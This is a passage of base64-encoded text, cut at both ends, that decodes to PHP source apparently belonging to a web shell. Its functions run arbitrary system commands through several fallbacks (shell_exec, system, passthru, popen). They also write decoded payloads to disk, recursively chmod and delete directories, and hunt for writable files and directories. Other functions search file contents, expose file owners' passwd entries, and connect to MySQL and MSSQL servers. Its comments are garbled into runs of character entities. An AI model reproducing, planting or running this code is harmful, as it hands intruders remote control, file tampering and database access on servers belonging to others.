ZmUsJHJlcyk7DQoNCgkJCSRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQoNCgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCg0KCQkJJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KDQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCg0KCQkJQG9iX3N0YXJ0KCk7DQoNCgkJCUBzeXN0ZW0oJGNmZSk7DQoNCgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCg0KCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCg0KCQkJQG9iX3N0YXJ0KCk7DQoNCgkJCUBwYXNzdGhydSgkY2ZlKTsNCg0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCg0KCQkJQG9iX2VuZF9jbGVhbigpOw0KDQoJCX0gZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKSB7DQoNCgkJCSRyZXMgPSAnJzsNCg0KCQkJd2hpbGUoIUBmZW9mKCRmKSkgew0KDQoJCQkJJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IA0KDQoJCQl9DQoNCgkJCUBwY2xvc2UoJGYpOw0KDQoJCX0NCg0KCX0NCg0KCXJldHVybiAkcmVzOw0KDQp9DQoNCmZ1bmN0aW9uIHdoaWNoKCRwcikgew0KDQoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsNCg0KCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7IA0KDQp9DQoNCg0KDQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpew0KDQoJaWYoJGZwPUBmb3BlbigkZm5hbWUsJ3cnKSkgew0KDQoJCUBmcHV0cygkZnAsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCg0KCQlAZmNsb3NlKCRmcCk7DQoNCgl9DQoNCn0NCg0KZnVuY3Rpb24gZGlyc2l6ZSgkZGlyKSB7IA0KDQoJJGRoID0gQG9wZW5kaXIoJGRpcik7DQoNCgkkc2l6ZSA9IDA7DQoNCgl3aGlsZSgkZmlsZSA9IEByZWFkZGlyKCRkaCkpIHsNCg0KCQlpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsNCg0KCQkJJHBhdGggPSAkZGlyLicvJy4kZmlsZTsNCg0KCQkJaWYgKEBpc19kaXIoJHBhdGgpKSB7DQoNCgkJCQkkc2l6ZSArPSBkaXJzaXplKCRwYXRoKTsNCg0KCQkJfSBlbHNlIHsNCg0KCQkJCSRzaXplICs9IEBmaWxlc2l6ZSgkcGF0aCk7DQoNCgkJCX0NCg0KCQl9DQoNCgl9DQoNCglAY2xvc2VkaXIoJGRoKTsNCg0KCXJldHVybiAkc2l6ZTsNCg0KfQ0KDQovLyAmIzEyMDM7JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjOTk0Ow0KDQpmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoNCglnbG9iYWwgJHN0YXJ0dGltZTsNCg0KCSRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQoNCgkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1hdCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KDQoJZWNobyAnUHJvY2VzYWRvIGVuICcuJHRvdGFsdGltZS4nIHNlZ3VuZG8ocyknOw0KDQp9DQoNCg0KDQovLyYjMTI5O38mIzEyOTt/JiMxMjk7f01ZU1FMJiMxMjk7fyYjMTI5O38mIzE5MTk7JiMxMjk7fw0KDQpmdW5jdGlvbiBteWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7DQoNCglnbG9iYWwgJGNoYXJzZXRkYjsNCg0KCWlmKCEkbGluayA9IEBteXNxbF9jb25uZWN0KCRkYmhvc3QuJzonLiRkYnBvcnQsICRkYnVzZXIsICRkYnBhc3MpKSB7DQoNCgkJcCgnPGgyPk5vIHNlIHB1ZG8gY29uZWN0YXIgYSBNeVNRTCBzZXJ2ZXI8L2gyPicpOw0KDQoJCWV4aXQ7DQoNCgl9DQoNCglpZigkbGluayAmJiAkZGJuYW1lKSB7DQoNCgkJaWYgKCFAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsICRsaW5rKSkgew0KDQoJCQlwKCc8aDI+RGF0YWJhc2Ugc2VsZWNjaW9uYWRhIGNvbiBlcnJvcmVzPC9oMj4nKTsNCg0KCQkJZXhpdDsNCg0KCQl9DQoNCgl9DQoNCglpZigkbGluayAmJiBteXNxbF9nZXRfc2VydmVyX2luZm8oKSA+ICc0LjEnKSB7DQoNCgkJaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksICRjaGFyc2V0ZGIpKSB7DQoNCgkJCXEoIlNFVCBjaGFyYWN0ZXJfc2V0X2Nvbm5lY3Rpb249JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfcmVzdWx0cz0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9jbGllbnQ9YmluYXJ5OyIsICRsaW5rKTsNCg0KCQl9DQoNCgl9DQoNCglyZXR1cm4gJGxpbms7DQoNCn0NCg0KDQoNCi8vJiMxMjk7fyYjMTI5O38mIzEyOTt/TVNTUUwmIzEyOTt/JiMxMjk7fyYjMTkxOTsmIzEyOTt/DQoNCmZ1bmN0aW9uIG1zZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycpIHsNCg0KCWdsb2JhbCAkYWxyZWFkeW1zc3FsOw0KDQoJQGluaV9zZXQoJ21zc3FsLmNoYXJzZXQnLCAnVVRGLTgnKTsNCg0KCUBpbmlfc2V0KCdtc3NxbC50ZXh0bGltaXQnLCAyMTQ3NDgzNjQ3KTsNCg0KCUBpbmlfc2V0KCdtc3NxbC50ZXh0c2l6ZScsIDIxNDc0ODM2NDcpOw0KDQoJJGFscmVhZHltc3NxbCA9IDE7DQoNCglpZighJGxpbmsgPSBAbXNzcWxfY29ubmVjdCgkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCBmYWxzZSkpIHsNCg0KCQlwKCc8aDI+Jy5tc21zZygpLic8L2gyPicpOw0KDQoJCSRhbHJlYWR5bXNzcWwgPSAwOw0KDQoJCWV4aXQ7DQoNCgl9DQoNCglpZigkbGluayAmJiAkZGJuYW1lKSB7DQoNCgkJaWYgKCFAbXNzcWxfc2VsZWN0X2RiKCRkYm5hbWUsICRsaW5rKSkgew0KDQoJCQlwKCc8aDI+Jy5tc21zZygpLic8L2gyPicpOw0KDQoJCQkkYWxyZWFkeW1zc3FsID0gMDsNCg0KCQkJZXhpdDsNCg0KCQl9DQoNCgl9DQoNCglyZXR1cm4gJGxpbms7DQoNCn0NCg0KDQoNCi8vICYjNTQ5OyYjMTI5O38mIzEyOTt/JiMxNTE0OyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTQ2MzsmIzEyOTt/DQoNCmZ1bmN0aW9uIHNfYXJyYXkoJiRhcnJheSkgew0KDQoJaWYgKGlzX2FycmF5KCRhcnJheSkpIHsNCg0KCQlmb3JlYWNoICgkYXJyYXkgYXMgJGsgPT4gJHYpIHsNCg0KCQkJJGFycmF5WyRrXSA9IHNfYXJyYXkoJHYpOw0KDQoJCX0NCg0KCX0gZWxzZSBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHsNCg0KCQkkYXJyYXkgPSBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCg0KCX0NCg0KCXJldHVybiAkYXJyYXk7DQoNCn0NCg0KDQoNCi8vICYjMTI5O38mIzEyOTt/JiMxMjk7f0hUTUwmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/DQoNCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsNCg0KCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7DQoNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7DQoNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoNCglyZXR1cm4gJGNvbnRlbnQ7DQoNCn0NCg0KDQoNCi8vICYjMTI5O38mIzEyOTt/JiM1NDU7JiM1NTI7JiMxMjk7fyYjMTI5O38NCg0KZnVuY3Rpb24gZ2V0Q2htb2QoJGZpbGVwYXRoKXsNCg0KCXJldHVybiBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgew0KDQoJJG1vZGUgPSBAZmlsZXBlcm1zKCRmaWxlcGF0aCk7DQoNCglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAncyc7fQ0KDQoJZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9DQoNCgllbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gJ2wnO30NCg0KCWVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAnLSc7fSANCg0KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQ0KDQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9DQoNCgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30NCg0KCWVsc2UgeyR0eXBlID0gJz8nO30NCg0KDQoNCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsgDQoNCgkkb3duZXJbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7IA0KDQoJJG93bmVyWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7IA0KDQoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7IA0KDQoJJGdyb3VwWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOyANCg0KCSRncm91cFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOyANCg0KCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyANCg0KCSR3b3JsZFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsgDQoNCgkkd29ybGRbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsgDQoNCg0KDQoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KDQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KDQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQ0KDQogDQoNCglyZXR1cm4gJHR5cGUuJG93bmVyWydyZWFkJ10uJG93bmVyWyd3cml0ZSddLiRvd25lclsnZXhlY3V0ZSddLiRncm91cFsncmVhZCddLiRncm91cFsnd3JpdGUnXS4kZ3JvdXBbJ2V4ZWN1dGUnXS4kd29ybGRbJ3JlYWQnXS4kd29ybGRbJ3dyaXRlJ10uJHdvcmxkWydleGVjdXRlJ107DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIGdldFVzZXIoJGZpbGVwYXRoKQl7DQoNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoNCgkJJGFycmF5ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVwYXRoKSk7DQoNCgkJaWYgKCRhcnJheSAmJiBpc19hcnJheSgkYXJyYXkpKSB7DQoNCgkJCXJldHVybiAnIC8gPGEgaHJlZj0iIyIgdGl0bGU9IlVzZXI6ICcuJGFycmF5WyduYW1lJ10uJyYjMTMmIzEwUGFzc3dkOiAnLiRhcnJheVsncGFzc3dkJ10uJyYjMTMmIzEwVWlkOiAnLiRhcnJheVsndWlkJ10uJyYjMTMmIzEwZ2lkOiAnLiRhcnJheVsnZ2lkJ10uJyYjMTMmIzEwR2Vjb3M6ICcuJGFycmF5WydnZWNvcyddLicmIzEzJiMxMERpcjogJy4kYXJyYXlbJ2RpciddLicmIzEzJiMxMFNoZWxsOiAnLiRhcnJheVsnc2hlbGwnXS4nIj4nLiRhcnJheVsnbmFtZSddLic8L2E+JzsNCg0KCQl9DQoNCgl9DQoNCglyZXR1cm4gJyc7DQoNCn0NCg0KDQoNCi8vICYjNjM4OyYjMTI5O38mIzEyOTt/JiMzMTk7JiMxODg7DQoNCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgew0KDQoJJG15ZGlyPUBkaXIoJGRlbGRpcik7CQ0KDQoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsgCQkNCg0KCQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsgDQoNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCg0KCQkJZGVsdHJlZSgkZGVsZGlyLicvJy4kZmlsZSk7IA0KDQoJCX0NCg0KCQlpZiAoaXNfZmlsZSgkZGVsZGlyLicvJy4kZmlsZSkpIHsNCg0KCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOw0KDQoJCQlAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsNCg0KCQl9DQoNCgl9IA0KDQoJJG15ZGlyLT5jbG9zZSgpOyANCg0KCUBjaG1vZCgkZGVsZGlyLDA3NzcpOw0KDQoJcmV0dXJuIEBybWRpcigkZGVsZGlyKSA/IDEgOiAwOw0KDQp9DQoNCg0KDQovLyAmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/pyYjMjIyOyYjMTI5O38mIzMwNTsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzYxOTsmIzEyOTt/JiMxNTc7SQ0KDQpmdW5jdGlvbiBiZygpIHsNCg0KCWdsb2JhbCAkYmdjOw0KDQoJcmV0dXJuICgkYmdjKyslMj09MCkgPyAnYWx0MScgOiAnYWx0Mic7DQoNCn0NCg0KDQoNCi8vICYjMTI5O38mIzEyOTt/JiM1NDU7JiMxMjk7fyYjMTI5O38mIzQ5NjsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzMxNjsmIzEyOTt/JiMxMDEzOyYjODgzO6GAJiMxMjk7fyYjMTI5O38NCg0KZnVuY3Rpb24gZ2V0UGF0aCgkc2NyaXB0cGF0aCwgJG5vd3BhdGgpIHsNCg0KCWlmICgkbm93cGF0aCA9PSAnLicpIHsNCg0KCQkkbm93cGF0aCA9ICRzY3JpcHRwYXRoOw0KDQoJfQ0KDQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRub3dwYXRoKTsNCg0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbm93cGF0aCk7DQoNCglpZiAoc3Vic3RyKCRub3dwYXRoLCAtMSkgIT0gJy8nKSB7DQoNCgkJJG5vd3BhdGggPSAkbm93cGF0aC4nLyc7DQoNCgl9DQoNCglyZXR1cm4gJG5vd3BhdGg7DQoNCn0NCg0KDQoNCi8vICYjMTI5O38mIzEyOTt/JiM1NDU7JiMxMjk7fyYjMTI5O38mIzQ5NjsmIzMxOTsmIzE4ODsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEwMjA7JiMxMjk7fyYjMzE5OyYjMTg4Ow0KDQpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsNCg0KCSRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOw0KDQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KDQoJaWYgKCRudW0gPiAyKSB7DQoNCgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7DQoNCgl9DQoNCgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsNCg0KCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOw0KDQoJcmV0dXJuICR1cHBhdGg7DQoNCn0NCg0KDQoNCi8vICYjMTI5O38mIzEyOTt/JiMxMjk7f1BIUCYjMTI5O38mIzEyOTt/JiMxMjk7f5qwJiMxMjk7fyYjMTI5O38mIzEyOTt/DQoNCmZ1bmN0aW9uIGdldGNmZygkdmFybmFtZSkgew0KDQoJJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKTsNCg0KCWlmICgkcmVzdWx0ID09IDApIHsNCg0KCQlyZXR1cm4gJ05vJzsNCg0KCX0gZWxzZWlmICgkcmVzdWx0ID09IDEpIHsNCg0KCQlyZXR1cm4gJ1llcyc7DQoNCgl9IGVsc2Ugew0KDQoJCXJldHVybiAkcmVzdWx0Ow0KDQoJfQ0KDQp9DQoNCg0KDQovLyAmIzEyOTt/JiMxMjk7f/xEJiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTI5O38NCg0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoNCglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZ2V0ZXh0ZW5zaW9uKCRmaWxlbmFtZSkgew0KDQoJJHBhdGhpbmZvID0gcGF0aGluZm8oJGZpbGVuYW1lKTsNCg0KCXJldHVybiAkcGF0aGluZm9bJ2V4dGVuc2lvbiddOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBHZXRXRGlyTGlzdCgkZGlyKXsNCg0KCWdsb2JhbCAkZGlyZGF0YSwkaiwkbm93cGF0aDsNCg0KCSEkaiAmJiAkaj0xOw0KDQoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCg0KCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsNCg0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KDQoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpew0KDQoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkgew0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoNCgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7DQoNCgkJCQkJJGRpcmRhdGFbJGpdWydkaXJjaG1vZCddPWdldENobW9kKCRmKTsNCg0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoNCgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7DQoNCgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOw0KDQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoNCgkJCQkJJGorKzsNCg0KCQkJCX0NCg0KCQkJCUdldFdEaXJMaXN0KCRmKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQljbG9zZWRpcigkZGgpOw0KDQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoNCgkJcmV0dXJuICRkaXJkYXRhOw0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gYXJyYXkoKTsNCg0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gR2V0V0ZpbGVMaXN0KCRkaXIpew0KDQoJZ2xvYmFsICRmaWxlZGF0YSwkaiwkbm93cGF0aCwgJHdyaXRhYmxlZGI7DQoNCgkhJGogJiYgJGo9MTsNCg0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoNCgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoNCgkJCSRleHQgPSBnZXRleHRlbnNpb24oJGZpbGUpOw0KDQoJCQkkZj1zdHJfcmVwbGFjZSgnLy8nLCcvJywkZGlyLicvJy4kZmlsZSk7DQoNCgkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRmKSl7DQoNCgkJCQlHZXRXRmlsZUxpc3QoJGYpOw0KDQoJCQl9IGVsc2VpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2ZpbGUoJGYpICYmIGluX2FycmF5KCRleHQsIGV4cGxvZGUoJywnLCAkd3JpdGFibGVkYikpKXsNCg0KCQkJCWlmIChpc193cml0YWJsZSgkZikpIHsNCg0KCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlbmFtZSddPXN0cl9yZXBsYWNlKCRub3dwYXRoLCcnLCRmKTsNCg0KCQkJCQkkZmlsZWRhdGFbJGpdWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgkZikpOw0KDQoJCQkJCSRmaWxlZGF0YVskal1bJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGYpKTsNCg0KCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZik7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZik7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZW93bmVyJ109Z2V0VXNlcigkZik7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnZGlybGluayddPSRkaXI7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsNCg0KCQkJCQkkZmlsZWRhdGFbJGpdWydjbGllbnRfbGluayddPXVlKCRmKTsNCg0KCQkJCQkkaisrOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJfQ0KDQoJCWNsb3NlZGlyKCRkaCk7DQoNCgkJY2xlYXJzdGF0Y2FjaGUoKTsNCg0KCQlyZXR1cm4gJGZpbGVkYXRhOw0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gYXJyYXkoKTsNCg0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gR2V0U0ZpbGVMaXN0KCRkaXIsICRjb250ZW50LCAkcmUgPSAwKSB7DQoNCglnbG9iYWwgJGZpbGVkYXRhLCRqLCRub3dwYXRoLCAkd3JpdGFibGVkYjsNCg0KCSEkaiAmJiAkaj0xOw0KDQoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCg0KCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsNCg0KCQkJJGV4dCA9IGdldGV4dGVuc2lvbigkZmlsZSk7DQoNCgkJCSRmPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsNCg0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCg0KCQkJCUdldFNGaWxlTGlzdCgkZiwgJGNvbnRlbnQsICRyZSA9IDApOw0KDQoJCQl9IGVsc2VpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2ZpbGUoJGYpICYmIGluX2FycmF5KCRleHQsIGV4cGxvZGUoJywnLCAkd3JpdGFibGVkYikpKXsNCg0KCQkJCSRmaW5kID0gMDsNCg0KCQkJCWlmICgkcmUpIHsNCg0KCQkJCQlpZiAoIHByZWdfbWF0Y2goJ0AnLiRjb250ZW50LidAJywkZmlsZSkgfHwgcHJlZ19tYXRjaCgnQCcuJGNvbnRlbnQuJ0AnLCBAZmlsZV9nZXRfY29udGVudHMoJGYpKSApew0KDQoJCQkJCQkkZmluZCA9IDE7DQoNCgkJCQkJfQ0KDQoJCQkJfSBlbHNlIHsNCg0KCQkJCQlpZiAoIHN0cnN0cigkZmlsZSwgJGNvbnRlbnQpIHx8IHN0cnN0ciggQGZpbGVfZ2V0X2NvbnRlbnRzKCRmKSwkY29udGVudCApICkgew0KDQoJCQkJCQkkZmluZCA9IDE7DQoNCgkJCQkJfQ0KDQoJCQkJfQ0KDQoJCQkJaWYgKCRmaW5kKSB7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGYpKTsNCg0KCQkJCQkkZmlsZWRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGYpOw0KDQoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGYpOw0KDQoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVvd25lciddPWdldFVzZXIoJGYpOw0KDQoJCQkJCSRmaWxlZGF0YVskal1bJ2RpcmxpbmsnXT0kZGlyOw0KDQoJCQkJCSRmaWxlZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoNCgkJCQkJJGZpbGVkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoNCgkJCQkJJGorKzsNCg0KCQkJCX0NCg0KCQkJfQ0KDQoJCX0NCg0KCQljbG9zZWRpcigkZGgpOw0KDQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoNCgkJcmV0dXJuICRmaWxlZGF0YTsNCg0KCX0gZWxzZSB7DQoNCgkJcmV0dXJuIGFycmF5KCk7DQoNCgl9DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsgDQoNCgkvL2VjaG8gJHNxbC4nPGJyPic7DQoNCgkkcmVzID0gJGVycm9yID0gJyc7DQoNCglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsKSkgeyANCg0KCQlyZXR1cm4gMDsNCg0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgew0KDQoJCXJldHVybiAxOyANCg0KCX0gZWxzZSB7DQoNCgkJcmV0dXJuIDI7DQoNCgl9CQ0KDQoJcmV0dXJuIDA7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIHEoJHNxbCkgeyANCg0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoNCglteXNxbF9mcmVlX3Jlc3VsdCgkcXkpOw0KDQp9DQoNCg0KDQovL21zc3FsDQoNCmZ1bmN0aW9uIG1zcSgkc3FsKSB7IA0KDQoJcmV0dXJuIEBtc3NxbF9xdWVyeSgkc3FsKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gbXNmcigkcXkpew0KDQoJbXNzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gbXNtc2coKXsNCg0KCXJldHVybiBtc3NxbF9nZXRfbGFzdF9tZXNzYWdlKCk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1zcXkoJHNxbCkgeyANCg0KCS8vZWNobyAkc3FsLic8YnI+JzsNCg0KCSRyZXMgPSAkZXJyb3IgPSAnJzsNCg0KCWlmKCEkcmVzID0gQG1zc3FsX3F1ZXJ5KCRzcWwpKSB7IA0KDQoJCXJldHVybiAwOw0KDQoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7DQoNCgkJcmV0dXJuIDE7IA0KDQoJfSBlbHNlIHsNCg0KCQlyZXR1cm4gMjsNCg0KCX0JDQoNCglyZXR1cm4gMDsNCg0KfQ0KDQoNCg0KZnVuY3Rpb